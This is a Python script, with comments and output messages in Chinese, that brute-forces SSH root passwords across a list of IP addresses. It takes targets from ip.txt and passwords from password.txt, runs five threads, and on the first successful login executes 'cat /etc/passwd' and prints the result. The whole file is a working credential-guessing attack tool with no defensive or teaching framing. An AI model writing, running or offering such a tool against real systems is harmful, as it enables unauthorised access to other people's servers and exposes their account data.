import paramiko
from concurrent.futures import ThreadPoolExecutor, as_completed, wait, FIRST_EXCEPTION
import threading

password_list = open("password.txt", "r").readlines()
flag = False
lock = threading.Lock()

def ssh_connect(hostname, password):
    global flag
    try:
        print(hostname, password)
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        ssh.connect(hostname=hostname, username='root', password=password, timeout=5)
        stdin, stdout, stderr = ssh.exec_command("cat /etc/passwd")
        result = stdout.read()
        if result:
            with lock:
                if not flag:
                    flag = True
                    print(f"爆破成功：ip地址为{hostname},命令执行的结果回显如下\n" + result.decode("gbk"))
    except Exception as e:
        pass
    finally:
        ssh.close()


def process_ips():
    global flag
    with open("ip.txt", "r") as f:
        hosts = f.readlines()

    # 使用线程池提交任务
    with ThreadPoolExecutor(5) as executor:
        futures = []
        for ip in hosts:
            for password in password_list:
                password = password.strip("\n")
                if flag:
                    break  # 如果flag为True，则跳出当前的循环，不再提交任务
                future = executor.submit(ssh_connect, ip.strip(), password)
                futures.append(future)

            # 如果密码已经被爆破成功，则提前结束后续任务
            if flag:
                break

        # 等待所有线程完成
        wait(futures, return_when=FIRST_EXCEPTION)

if __name__ == "__main__":
    process_ips()
